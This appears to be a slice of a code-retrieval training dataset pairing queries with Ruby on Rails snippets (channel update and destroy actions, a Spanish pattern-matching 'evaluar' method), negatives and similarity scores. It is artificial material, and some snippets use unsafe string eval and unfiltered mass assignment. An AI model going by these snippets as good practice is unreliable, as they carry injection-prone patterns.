"def update\n respond_to do |format|\n if @channel.update_attributes(params[:channel])\n flash[:notice] = 'Channel was successfully updated.'\n format.html { redirect_to(@channel) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @channel.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @slack_channel.update(slack_channel_params)\n format.html { redirect_to @slack_channel, notice: 'Slack channel was successfully updated.' }\n format.json { render :show, status: :ok, location: @slack_channel }\n else\n format.html { render :edit }\n format.json { render json: @slack_channel.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_channel\n @channel = Channel.find(params[:id])\n @channel.update(params[:channel])\n redirect \"/channels/#{@channel.id}\"\n end",
"def update\n Channel.channels_to_update\n end",
"def update\n respond_to do |format|\n if @channel_type.update(channel_type_params)\n format.html { redirect_to channel_types_path, notice: 'Channel type was successfully updated.' }\n format.json { render :show, status: :ok, location: @channel_type }\n else\n format.html { render :edit }\n format.json { render json: @channel_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @channel_class.update(channel_class_params)\n format.html { redirect_to @channel_class, notice: '频道修改成功.' }\n format.json { render :show, status: :ok, location: @channel_class }\n else\n format.html { render :edit }\n format.json { render json: @channel_class.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @tv_channel.update(tv_channel_params)\n format.html { redirect_to @tv_channel, notice: 'Tv channel was successfully updated.' }\n format.json { render :show, status: :ok, location: @tv_channel }\n else\n format.html { render :edit }\n format.json { render json: @tv_channel.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @channel = Channel.find(params[:id])\n\n respond_to do |format|\n if @channel.update_attributes(params[:channel])\n flash[:notice] = 'Channel was successfully updated.'\n format.html { redirect_to(@channel) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @channel.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @channel = Channel.find(params[:id])\n flash[:notice] = t('controllers.channels.channel_was_successfully_updated') if @channel.update_attributes(params[:channel])\n\n respond_with @channel\n end",
"def update\n @channel = Channel.find(params[:id])\n\n respond_to do |format|\n if @channel.update_attributes(params[:channel])\n flash[:notice] = 'Canal modifié.'\n format.html { redirect_to :action=>:show, :id=>@channel.id }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @channel.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update!(**args)\n @channel = args[:channel] if args.key?(:channel)\n end",
"def update\n @channel_info = ChannelInfo.find(params[:id])\n\n respond_to do |format|\n if @channel_info.update_attributes(params[:channel_info])\n format.html { redirect_to marketing_channel_info_path(@channel_info), notice: 'Channel info was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @channel_info.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update!(**args)\n @channel_data = args[:channel_data] if args.key?(:channel_data)\n @failure = args[:failure] if args.key?(:failure)\n end",
"def update\n \n respond_to do |format|\n if @hub.update(params[:hub])\n format.html { redirect_to @hub, :notice => 'Hub was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @hub.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update_channel(token, channel_id, name, topic, position = 0)\n request(\n __method__,\n :patch,\n \"#{api_base}/channels/#{channel_id}\",\n { name: name, position: position, topic: topic }.to_json,\n Authorization: token,\n content_type: :json\n )\n end",
"def update\n @subscription = Subscription.by_user_channel_ids(current_user.id, params[:channel_id])\n\n respond_to do |format|\n if @subscription and @subscription.update_attributes(params[:subscription])\n @channel = Channel.find(params[:channel_id])\n format.html { redirect_to @subscription, notice: I18n.t('subscription_updated') }\n format.json { render json: { name: @channel.subscription_name(current_user) }, status: :ok}\n else\n format.html { render action: \"edit\" }\n format.json { render json: @subscription.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n if @chatty_crow_channel.update_attributes(params[:chatty_crow_channel])\n flash[:notice] = l(:notice_successful_create)\n redirect_to_plugin_settings\n else\n render action: :edit\n end\n end",
"def update\n #only user can modify \n unless current_user.has_role?(:admin) || current_user.has_role?(:user)\n redirect_to admin_channels_path, alert: \"没有权限\"\n return\n end\n\n admin_channel_params[:user_id] = current_user.id\n\n respond_to do |format|\n if @admin_channel.update(admin_channel_params)\n update_tag(@admin_channel)\n if @admin_channel.short_title.blank?\n @admin_channel.short_title = get_short_title('channel', @admin_channel.title)\n @admin_channel.save!\n end\n\n format.html { redirect_to @admin_channel, notice: '栏目更新成功.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @admin_channel.errors, status: :unprocessable_entity }\n end\n end\n end",
"def modify(name: nil, avatar: nil, channel_id: nil)\n RestClient.patch(@url, { name: name, avatar: avatarise(avatar), channel_id: channel_id }.compact.to_json, content_type: :json)\n end"
] | [
"0.68373525",
"0.6671909",
"0.6671909",
"0.6626084",
"0.6626084",
"0.6622186",
"0.659899",
"0.6564516",
"0.6488672",
"0.64459705",
"0.63554883",
"0.6335833",
"0.63141733",
"0.6249184",
"0.624384",
"0.6233464",
"0.62039804",
"0.6201062",
"0.6187915",
"0.61812866",
"0.6176895",
"0.61382544",
"0.61374444",
"0.60943174",
"0.6074213",
"0.606436",
"0.6046926",
"0.59965914",
"0.5973125",
"0.59688985"
] | 0.7456539 | 0 |
DELETE /universal_channels/1 DELETE /universal_channels/1.json | def destroy
@universal_channel.destroy
respond_to do |format|
format.html { redirect_to universal_channels_url, notice: 'Universal channel was successfully destroyed.' }
format.json { head :no_content }
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def destroy\n @raw_channel = RawChannel.find(params[:id])\n @raw_channel.destroy\n\n respond_to do |format|\n format.html { redirect_to raw_channels_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @channel.destroy\n respond_to do |format|\n format.html { redirect_to channels_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @channel = Channel.find(params[:id])\n @channel.destroy\n\n respond_to do |format|\n format.html { redirect_to channels_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @channel.destroy\n respond_to do |format|\n format.html { redirect_to channels_url, notice: 'Channel was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @channel.destroy\n respond_to do |format|\n format.html { redirect_to channels_url, notice: 'Channel was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @channel.destroy\n respond_to do |format|\n format.html { redirect_to user_path(current_user.id) }\n format.json { head :no_content }\n end\n end",
"def destroy\r\n @channel.destroy\r\n respond_to do |format|\r\n format.html { redirect_to user_channels_path(current_user)}\r\n end\r\n end",
"def destroy\n @channel.destroy\n\n respond_to do |format|\n format.html { redirect_to(channels_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @channel_status = ChannelStatus.find(params[:id])\n @channel_status.destroy\n\n respond_to do |format|\n format.html { redirect_to channel_statuses_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @channel = Channel.find(params[:id])\n @channel.destroy\n\n respond_to do |format|\n format.html { redirect_to(channels_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n \n @channel = @channel || ChannelClass.find(params[:id])\n @channel.destroy\n respond_to do |format|\n format.html { redirect_to channel_classes_url, notice: '频道删除成功.' }\n format.json { head :no_content }\n end\n \n end",
"def destroy\n @channel = Channel.find(params[:id])\n @channel.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_channels_url }\n format.xml { head :ok }\n end\n end",
"def destroy\n @channel = Channel.find(params[:channel_id])\n rescue ActiveRecord::RecordNotFound => e\n respond_to do |format|\n format.html { redirect_to :back, notice: I18n.t('general.failed_to_unsubscribe') }\n format.json { render json: e, status: :unprocessable_entity }\n end\n else\n current_user.channels.delete(@channel) if current_user.channels.include? @channel\n respond_to do |format|\n format.html { redirect_to @channel, notice: I18n.t('general.unsubscribed') }\n format.json { head :no_content }\n end\n end",
"def destroy\n @channel = Channel.find(params[:id])\n @channel.destroy\n\n respond_with @channel\n end",
"def destroy\n @tv_channel.destroy\n respond_to do |format|\n format.html { redirect_to tv_channels_url, notice: 'Tv channel was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @channel_type.destroy\n respond_to do |format|\n format.html { redirect_to channel_types_url, notice: 'Channel type was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @hub.destroy\n\n respond_to do |format|\n format.html { redirect_to hubs_url }\n format.json { head :no_content }\n end\n end",
"def delete(channels)\n\treturn if not channels.is_a? Array #meh\n\tcurChannels = readCurrentChannels()\n\tcurChannels.reject! { |e| channels.include? e.downcase }\n\twriteChannels(curChannels)\nend",
"def destroy\n @channel_info = ChannelInfo.find(params[:id])\n @channel_info.destroy\n\n respond_to do |format|\n format.html { redirect_to marketing_channel_infos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @slack_channel.destroy\n respond_to do |format|\n format.html { redirect_to slack_channels_url, notice: 'Slack channel was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @sales_channel_api = SalesChannelApi.find(params[:id])\n @sales_channel_api.destroy\n\n respond_to do |format|\n format.html { redirect_to sales_channel_apis_url }\n format.json { head :no_content }\n end\n end",
"def remove_channel\n channel = Channel.find(params[:channel_id])\n @bss_title_id = BssTitleId.find(params[:id])\n \t@bss_title_id.channels.delete(channel)\n \trespond_to do |format|\n format.html {\n if params[:source] == 'episode_show'\n redirect_to episode_path(@bss_title_id.episode, show_details(:channel, params)), notice: 'Channel: ' + channel.name + ' removed'\n else\n redirect_to bss_title_id_path(@bss_title_id, show_details(:channel, params)), notice: 'Channel: ' + channel.name + ' removed'\n end\n }\n\t \tformat.json {render :show, status: :removed, location: @bss_title_id}\n \tend\n end",
"def destroy\n @channel_statistic.destroy\n respond_to do |format|\n format.html { redirect_to channel_statistics_url, notice: 'Channel statistic was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @channel_category = ChannelCategory.find(params[:id])\n @channel_category.destroy\n\n respond_to do |format|\n format.html { redirect_to marketing_channel_categories_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @activity = Activity.create(user_id: current_user.id, activity_type: 'Destroy', target_type: 'Channel', target_id: @channel.id)\n @channel.destroy\n respond_to do |format|\n format.html { redirect_to channels_url, notice: 'Channel was successfully destroyed.' }\n format.json { head :no_content }\n format.js\n end\n end",
"def destroy\n @chatty_crow_channel.destroy\n flash[:notice] = l(:notice_successful_delete)\n redirect_to_plugin_settings\n end",
"def destroy\n @sales_channel = SalesChannel.find(params[:id])\n @sales_channel.destroy\n\n respond_to do |format|\n format.html { redirect_to sales_channels_url }\n format.json { head :no_content }\n end\n end",
"def destroy\r\n push_notification :remove\r\n @message.destroy\r\n respond_to do |format|\r\n format.html { redirect_to channel_messages_url(@channel) }\r\n format.json { head :no_content }\r\n end\r\n end",
"def destroy\n @youtubechannel.destroy\n respond_to do |format|\n format.html { redirect_to youtubechannels_url, notice: 'Youtubechannel was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @youtube_channel.destroy\n respond_to do |format|\n format.html { redirect_to youtube_channels_url, notice: 'Youtube channel was successfully deleted.' }\n format.json { head :no_content }\n end\n end"
] | [
"0.76657176",
"0.74747145",
"0.7427655",
"0.72128695",
"0.72128695",
"0.71607524",
"0.71294",
"0.7106547",
"0.70967203",
"0.7089707",
"0.70837975",
"0.70764405",
"0.70116746",
"0.69967216",
"0.6927834",
"0.6853559",
"0.6845663",
"0.6816634",
"0.6794255",
"0.67911994",
"0.676792",
"0.6763245",
"0.6679382",
"0.6666604",
"0.66601086",
"0.6618519",
"0.65673274",
"0.6566231",
"0.65160275",
"0.648316"
] | 0.8001578 | 0 |
Similar to +Locale.available_locales+, except it includes the no_preference locale | def available_locale_preferences
[@no_preference] + available_locales
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def available_locales; end",
"def available_locales; end",
"def available_locales\n []\n end",
"def available_locales\n evaluate_localization_option!(:available_locales)\n end",
"def available_locales\n locales = Language.sorted_by_abbreviation.pluck(:abbreviation).presence if Language.table_exists?\n (locales.presence || [default_locale])\n end",
"def available_locales\n self.locales.map { |locale| locale.to_sym }\n end",
"def available_locales\r\n ::LinguaFranca.available_locales\r\n end",
"def available_locales_set; end",
"def all_locales\n configatron.full_locales | preferred_locales\n end",
"def available_locales_initialized?; end",
"def preferred_locales\n read_attribute(\"preferred_locales\").map(&:to_sym)\n end",
"def available_locales\n resource.translations.all(:fields => [:locale_tag], :unique => true).map { |t| t.locale }\n end",
"def globalize_fallbacks(for_locale = I18n.locale)\n [for_locale, primary_locale.to_sym].uniq\n end",
"def available_locales\n init_translations unless initialized?\n translations.inject([]) do |locales, (locale, data)|\n locales << locale unless (data.keys - [:i18n]).empty?\n locales\n end\n end",
"def preferred_locales_str\n (preferred_locales || []).join(\",\")\n end",
"def get_locales(defaults=[])\n if self.available_locales.present?\n self.available_locales\n else\n defaults\n end\n end",
"def enforce_available_locales!(locale); end",
"def available_locales\n @available_locales ||= self.languages.published\n end",
"def available_locales\n init_names unless init_names?\n names.keys\n end",
"def available_locales\n locales = self.keys.map { |k| k =~ /\\./; $` }\n locales.uniq!\n locales.compact!\n locales.map! { |k| k.to_sym }\n locales\n end",
"def available_locales\n locales = self.keys.map { |k| k =~ /\\./; $` }\n locales.uniq!\n locales.compact!\n locales.map! { |k| k.to_sym }\n locales\n end",
"def enabled_locales\n self[:enabled_locales].split(\",\").map(&:to_sym)\n end",
"def enabled_locales\n self[:enabled_locales].split(\",\").map(&:to_sym)\n end",
"def enabled_locales(app_path = nil)\r\n ::LinguaFranca.enabled_locales(app_path)\r\n end",
"def available_locales\n @available_locales ||= begin\n locales = Set.new\n Array(config[:read]).map do |pattern|\n [pattern, Dir.glob(format(pattern, locale: '*'))] if pattern.include?('%{locale}')\n end.compact.each do |pattern, paths|\n p = pattern.gsub('\\\\', '\\\\\\\\').gsub('/', '\\/').gsub('.', '\\.')\n p = p.gsub(/(\\*+)/) { Regexp.last_match(1) == '**' ? '.*' : '[^/]*?' }.gsub('%{locale}', '([^/.]+)')\n re = /\\A#{p}\\z/\n paths.each do |path|\n locales << Regexp.last_match(1) if re =~ path\n end\n end\n locales\n end\n end",
"def available_locales\n translation_model.all(:fields => [:locale_tag], :unique => true).map { |t| t.locale }\n end",
"def normalize_locales\n self.preferred_locales = preferred_locales.map { |l| l.to_s.downcase.gsub(/[^a-z]/, \"\")[0,2] }\n true\n end",
"def available_locales\n @available_locales ||= begin\n locales = Set.new\n @read.map do |pattern|\n [pattern, Dir.glob(pattern % {locale: '*'})] if pattern.include?('%{locale}')\n end.compact.each do |pattern, paths|\n p = pattern.gsub('\\\\', '\\\\\\\\').gsub('/', '\\/').gsub('.', '\\.')\n p = p.gsub(/(\\*+)/) { $1 == '**' ? '.*' : '[^/]*?' }.gsub('%{locale}', '([^/.]+)')\n re = /\\A#{p}\\z/\n paths.each do |path|\n if re =~ path\n locales << $1\n end\n end\n end\n locales\n end\n end",
"def site_locales\n preferred_locales.split(/,\\s*/)\n end",
"def site_locales\n preferred_locales.split(/,\\s*/)\n end"
] | [
"0.79535127",
"0.79535127",
"0.78547525",
"0.77139604",
"0.769534",
"0.7651564",
"0.7514421",
"0.75065494",
"0.7488282",
"0.73629487",
"0.73577577",
"0.7303848",
"0.72715896",
"0.72260743",
"0.7214179",
"0.7180138",
"0.7173859",
"0.717171",
"0.7133337",
"0.7122375",
"0.7122375",
"0.7092191",
"0.7092191",
"0.70432544",
"0.7020236",
"0.69646436",
"0.69626623",
"0.6960428",
"0.6916673",
"0.6916673"
] | 0.87317944 | 0 |
def evaluar(objeto_a_evaluarse) resultado = false | def evaluar(objeto_a_evaluarse)
resultado = 'lol'
unless
(patron = @patrones.find do |patron| patron.matchea(objeto_a_evaluarse) end
if (patron != nil)
patron.agregar_bindings(objeto_a_evaluarse)
resultado = patron.ejecutar_bloque(objeto_a_evaluarse)
end)
raise 'Ningun patron matchea. Agregar un otherwise'
end
resultado
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def evaluable?\n true\n end",
"def evaluate?\n false\n end",
"def evaluate?\n false\n end",
"def evaluate\n\n end",
"def passes?(obj)\n method_key = valid_criteria[attribute_name][\"operators\"] rescue nil\n if method_key.nil?\n return false unless DEFAULT_EVAL_METHODS.include?(eval_method)\n t_eval_method = (eval_method == \"match\" || eval_method == \"include?\") ? \".#{eval_method}\" : \" #{eval_method}\"\n eval_string = \"obj.instance_eval(\\\"#{attribute_name}\\\")#{t_eval_method} \\\"#{value.to_s}\\\"\"\n # puts eval_string\n eval eval_string, binding\n else\n eval_string = method_key[eval_method]\n eval_string.gsub!(\"$1\", \"obj\")\n eval_string.gsub!(\"$2\", (values == \"boolean\" ? value : \"\\\"#{value}\\\"\"))\n # puts eval_string\n eval eval_string, binding\n end\n end",
"def eval(input)\n return false\n end",
"def evaluacion(cuestionario_impedimento_id)\n\n\t\t#FRUSTRACIÓN POR IMPEDIMENTO\n\t\tagresividad = false; insensibilidad = false; impulsividad= false; irritabilidad= false; melancolia=false;\n\t\tsusceptibilidad = false; sexualidad=false; introversion = false;\n\n\t\t@cuestionario_impedimento = CuestionarioImpedimento.find(cuestionario_impedimento_id)\n\t\tif @cuestionario_impedimento.resp_A1==\"SI\" and @cuestionario_impedimento.resp_A2==\"SI\" and\n\t\t\t\t@cuestionario_impedimento.resp_A3==\"SI\" and @cuestionario_impedimento.resp_A4==\"SI\" and\n\t\t\t\t@cuestionario_impedimento.resp_A5==\"SI\" and @cuestionario_impedimento.resp_A6==\"SI\" and\n\t\t\t\t@cuestionario_impedimento.resp_A7==\"SI\" and @cuestionario_impedimento.resp_A8==\"SI\"\n\n\t\t\t@evaluacion1=\"Usted presenta un temperamento de agresividad\"\n\t\t\tagresividad=true;\n\t\telse\n\t\t\t@evaluacion1=\"no presenta un temperamento de agresividad\"\n\t\tend\n\t\tif @cuestionario_impedimento.resp_B1==\"NO\" and @cuestionario_impedimento.resp_B2==\"SI\" and\n\t\t\t\t@cuestionario_impedimento.resp_B3==\"NO\" and @cuestionario_impedimento.resp_B4==\"SI\" and\n\t\t\t\t@cuestionario_impedimento.resp_B5==\"NO\" and @cuestionario_impedimento.resp_B6==\"NO\" and\n\t\t\t\t@cuestionario_impedimento.resp_B7==\"SI\" and @cuestionario_impedimento.resp_B8==\"SI\" and\n\t\t\t\t@cuestionario_impedimento.resp_B9==\"NO\"\n\n\t\t\t@evaluacion2=\"Usted presenta un temperamento de insensibilidad\"\n\t\t\tinsensibilidad =true;\n\t\telse\n\t\t\t@evaluacion2=\"no presenta un temperamento de insensibilidad\"\n\t\tend\n\n\t\tif @cuestionario_impedimento.resp_C1==\"NO\" and @cuestionario_impedimento.resp_C2==\"SI\" and\n\t\t\t\t@cuestionario_impedimento.resp_C3==\"NO\" and @cuestionario_impedimento.resp_C4==\"SI\" and\n\t\t\t\t@cuestionario_impedimento.resp_C5==\"SI\" and @cuestionario_impedimento.resp_C6==\"SI\" and\n\n\n\t\t\t\t@evaluacion3=\"Usted presenta un temperamento de impulsividad\"\n\t\t\timpulsividad=true;\n\t\telse\n\t\t\t@evaluacion3=\"no presenta un temperamento de impulsividad\"\n\t\tend\n\n\n\t\tif @cuestionario_impedimento.resp_D1==\"SI\" and @cuestionario_impedimento.resp_D2==\"SI\" and\n\t\t\t\t@cuestionario_impedimento.resp_D3==\"SI\" and @cuestionario_impedimento.resp_D4==\"SI\" and\n\t\t\t\t@cuestionario_impedimento.resp_D5==\"NO\" and @cuestionario_impedimento.resp_D6==\"SI\" and\n\t\t\t\t@cuestionario_impedimento.resp_D7==\"SI\" and @cuestionario_impedimento.resp_D8==\"SI\" and\n\n\n\t\t\t\t@evaluacion4=\"Usted presenta un temperamento de irritabilidad\"\n\t\t\tirritabilidad=true\n\t\telse\n\t\t\t@evaluacion4=\"no presenta un temperamento de irritabilidad\"\n\t\tend\n\n\t\tif @cuestionario_impedimento.resp_E1==\"SI\" and @cuestionario_impedimento.resp_E2==\"SI\" and\n\t\t\t\t@cuestionario_impedimento.resp_E3==\"SI\" and @cuestionario_impedimento.resp_E4==\"SI\" and\n\t\t\t\t@cuestionario_impedimento.resp_E5==\"SI\" and @cuestionario_impedimento.resp_E6==\"SI\" and\n\t\t\t\t@cuestionario_impedimento.resp_E7==\"SI\" and @cuestionario_impedimento.resp_E8==\"SI\" and\n\t\t\t\t@cuestionario_impedimento.resp_E9==\"SI\"\n\n\t\t\t@evaluacion5=\"Usted presenta un temperamento de melancolia\"\n\t\t\tmelancolia=true;\n\t\telse\n\t\t\t@evaluacion5=\"no presenta un temperamento de melancolia\"\n\t\tend\n\n\t\tif @cuestionario_impedimento.resp_F1==\"SI\" and @cuestionario_impedimento.resp_F2==\"SI\" and\n\t\t\t\t@cuestionario_impedimento.resp_F3==\"SI\" and @cuestionario_impedimento.resp_F4==\"SI\" and\n\t\t\t\t@cuestionario_impedimento.resp_F5==\"SI\" and @cuestionario_impedimento.resp_F6==\"SI\" and\n\t\t\t\t@cuestionario_impedimento.resp_F7==\"SI\" and @cuestionario_impedimento.resp_F8==\"SI\" and\n\t\t\t\t@cuestionario_impedimento.resp_F9==\"NO\"\n\n\t\t\t@evaluacion6=\"Usted presenta un temperamento de susceptibilidad\"\n\t\t\tsusceptibilidad=true;\n\t\telse\n\t\t\t@evaluacion6=\"no presenta un temperamento de susceptibilidad\"\n\t\tend\n\n\t\tif @cuestionario_impedimento.resp_G1==\"SI\" and @cuestionario_impedimento.resp_G2==\"SI\" and\n\t\t\t\t@cuestionario_impedimento.resp_G3==\"SI\" and @cuestionario_impedimento.resp_G4==\"NO\" and\n\t\t\t\t@cuestionario_impedimento.resp_G5==\"SI\" and @cuestionario_impedimento.resp_G6==\"SI\" and\n\t\t\t\t@evaluacion7=\"Usted presenta un temperamento de sexualidad\"\n\t\t\tsexualidad=true;\n\t\telse\n\t\t\t@evaluacion7=\"no presenta un temperamento de sexualidad\"\n\t\tend\n\n\t\tif @cuestionario_impedimento.resp_H1==\"SI\" and @cuestionario_impedimento.resp_H2==\"NO\" and\n\t\t\t\t@cuestionario_impedimento.resp_H3==\"NO\" and @cuestionario_impedimento.resp_H4==\"NO\" and\n\t\t\t\t@cuestionario_impedimento.resp_H5==\"SI\" and @cuestionario_impedimento.resp_H6==\"SI\" and\n\n\n\t\t\t\t@evaluacion8=\"Usted presenta un temperamento de introversion\"\n\t\t\tintroversion=true;\n\t\telse\n\t\t\t@evaluacion8=\"no presenta un temperamento de introversion\"\n\t\tend\n\n\t\t# Se guarda o actualiza el temperamento del paciente\n\t\t@paciente = Paciente.find(@cuestionario_impedimento.paciente_id)\n\t\tif @paciente.temperamento_id!=nil\n\t\t\tid= @paciente.temperamento_id;\n\t\t\t@temperamento = Temperamento.find(id)\n\t\t\tif\n\t\t\tagresividad==true\n\t\t\t\tTemperamento.find(id).update_attribute(:agresividad,agresividad)\n\t\t\tend\n\t\t\tif\n\t\t\tinsensibilidad==true\n\t\t\t\tTemperamento.find(id).update_attribute(:insensibilidad,insensibilidad)\n\t\t\tend\n\t\t\tif\n\t\t\timpulsividad==true\n\t\t\t\tTemperamento.find(id).update_attribute(:impulsividad,impulsividad)\n\t\t\tend\n\t\t\tif\n\t\t\tirritabilidad==true\n\t\t\t\tTemperamento.find(id).update_attribute(:irritabilidad,impulsividad)\n\t\t\tend\n\t\t\tif\n\t\t\tmelancolia==true\n\t\t\t\tTemperamento.find(id).update_attribute(:melancolia,melancolia)\n\t\t\tend\n\t\t\tif\n\t\t\tsusceptibilidad==true\n\t\t\t\tTemperamento.find(id).update_attribute(:susceptibilidad,susceptibilidad)\n\t\t\tend\n\t\t\tif\n\t\t\tsexualidad==true\n\t\t\t\tTemperamento.find(id).update_attribute(:sexualidad,sexualidad)\n\t\t\tend\n\t\t\tif\n\t\t\tintroversion==true\n\t\t\t\tTemperamento.find(id).update_attribute(:introversion,introversion)\n\t\t\tend\n\t\telse\n\t\t\t@temperamento = Temperamento.new\n\t\t\t@temperamento.agresividad= agresividad\n\t\t\t@temperamento.impulsividad = impulsividad\n\t\t\t@temperamento.irritabilidad = irritabilidad\n\t\t\t@temperamento.susceptibilidad = susceptibilidad\n\t\t\t@temperamento.introversion= introversion\n\t\t\t@temperamento.sexualidad= sexualidad\n\t\t\t@temperamento.insensibilidad= insensibilidad\n\t\t\t@temperamento.melancolia = melancolia\n\t\t\t@temperamento.paciente_id = @cuestionario_impedimento.paciente_id\n\t\t\t@temperamento.save()\n\t\t\tPaciente.find(@cuestionario_impedimento.paciente_id).update_attribute(:temperamento_id, @temperamento.id)\n\t\tend\n\t \n end",
"def evaluate(params = nil)\n raise Error::InvalidExpressionError unless valid?\n true\n end",
"def evaluated?; @__evaluated end",
"def avanzar_pre_evaluacion(usuario)\n total = SolicitudAspectosEvaluar.count(:conditions=>['solicitud_id = ?',self.id])\n unless total > 0\n self.errors.add(:solicitud, I18n.t('Sistema.Body.Modelos.Solicitud.Errores.debe_asignar_aspecto_evaluar'))\n unless self.Estatus.const_id == 'ST0003'\n self.errors.add(:solicitud, I18n.t('Sistema.Body.Modelos.Solicitud.Errores.estatus_no_adecuado'))\n end\n else\n unless self.Estatus.const_id == 'ST0003'\n self.errors.add(:solicitud, I18n.t('Sistema.Body.Modelos.Solicitud.Errores.estatus_no_adecuado'))\n else\n estatus_id_inicial = self.estatus_id\n fecha_evento = Time.now\n configuracion_avance = ConfiguracionAvance.find_by_estatus_origen_id(estatus_id_inicial)\n estatus_id_final = configuracion_avance.estatus_destino_id\n self.estatus_id = estatus_id_final\n self.fecha_actual_estatus = fecha_evento.strftime(\"%Y/%m/%d\")\n self.save\n ControlSolicitud.create_new(self.id, estatus_id_final, usuario, I18n.('Sistema.Body.General.avanzar'), estatus_id_inicial, '')\n end\n end\n end",
"def a\n puts \"a was evaluated!\"\n return false\nend",
"def evaluate\n result = false\n self.line_items.each(&:evaluate)\n self.calculate\n result = save(false) unless self.new_record?\n result\n end",
"def a\n puts \"A was evaluated!\"\n return true\nend",
"def a\n puts \"A was evaluated!\"\n return true\nend",
"def a\n puts \"A was evaluated!\"\n return true\nend",
"def evaluate\n result = false\n self.line_items.each(&:evaluate)\n self.calculate\n result = save(false) unless self.new_record?\n result\n end",
"def avanzar_evaluacion(usuario)\n unless self.Estatus.const_id == 'ST0028'\n self.errors.add(:solicitud, I18n.t('Sistema.Body.Modelos.Solicitud.Errores.estatus_no_adecuado'))\n else\n estatus_id_inicial = self.estatus_id\n fecha_evento = Time.now\n configuracion_avance = ConfiguracionAvance.find_by_estatus_origen_id(estatus_id_inicial)\n estatus_id_final = configuracion_avance.estatus_destino_id\n self.estatus_id = estatus_id_final\n self.fecha_actual_estatus = fecha_evento.strftime(\"%Y/%m/%d\")\n self.save\n ControlSolicitud.create_new(self.id, estatus_id_final, usuario, I18n.('Sistema.Body.General.avanzar'), estatus_id_inicial, '')\n end\n end",
"def resivo?\n \n if pogodci < 17\n return false\n end\n \n kopiraj = self.dup\n kopiraj.solve!\n \n return kopiraj.reseno?\n end",
"def result_of_checking; end",
"def test_valid_eval\n assert_equal [11, 'valid'], @eval.evaluate([5, 6, '+'])\n end",
"def result?\n true\n end",
"def eval\n puts convert_obj(@text).value\n return Bool_class.new('bool','TRUE')\n end",
"def validar_opciones_parciales(parametros,id_factura_despachos)\n \n variable='-1'\n logger.debug \"entre aqui en validar opciones individual\" << parametros.inspect << \" con factura de despacho = \" << id_factura_despachos.inspect\n @factura_orden_despacho_detalle_resultados=FacturaOrdenDespacho.find(:all,:conditions=>\"id in #{id_factura_despachos}\")\n\n otra_var=\"\"\n @factura_orden_despacho_detalle_resultados.each do |factura_orden_despacho_detalle_resultado|\n\n\n if parametros[:\"monto_cantidad_faltante_#{factura_orden_despacho_detalle_resultado.id}\"].to_f == 0 && parametros[:\"monto_cantidad_facturada_#{factura_orden_despacho_detalle_resultado.id}\"].to_f != 0\n variable = factura_orden_despacho_detalle_resultado.id.to_s << \";#{I18n.t('Sistema.Body.Modelos.OrdenDespachoDetalle.Mensajes.mensajes_cantidad_factura_no_cero',:item_nombre=>factura_orden_despacho_detalle_resultado.item_nombre)}\"\n break\n end\n\n if parametros[:\"monto_cantidad_facturada_#{factura_orden_despacho_detalle_resultado.id}\"].to_f == 0 && parametros[:\"monto_cantidad_faltante_#{factura_orden_despacho_detalle_resultado.id}\"].to_f != 0\n variable = factura_orden_despacho_detalle_resultado.id.to_s << \";#{I18n.t('Sistema.Body.Modelos.OrdenDespachoDetalle.Mensajes.mensajes_monto_factura_no_cero',:item_nombre=>factura_orden_despacho_detalle_resultado.item_nombre)}\"\n break\n end\n\n if parametros[:\"monto_cantidad_facturada_#{factura_orden_despacho_detalle_resultado.id}\"].to_f != 0 && parametros[:\"monto_cantidad_faltante_#{factura_orden_despacho_detalle_resultado.id}\"].to_f != 0\n otra_var=\"1\"\n end\n \n end \n if variable==\"-1\" && otra_var==\"\"\n variable = \"Algo\" << \";#{I18n.t('Sistema.Body.Modelos.OrdenDespachoDetalle.Mensajes.mensaje_final')}\"\n end\n return variable\nend",
"def teste(valor)\n\t\tif(valor < 10)\n\t\t var = false\n\t\tend\n\t#ddetalhe eu consigo acessar uma variavel que foi decarada no if fora dele pois o seu escopo é \n #valido pelo metodo e nao pelo if\n\n puts var\n\t\n\tend",
"def set_evaluo\n @evaluo = Evaluo.find(params[:id])\n end",
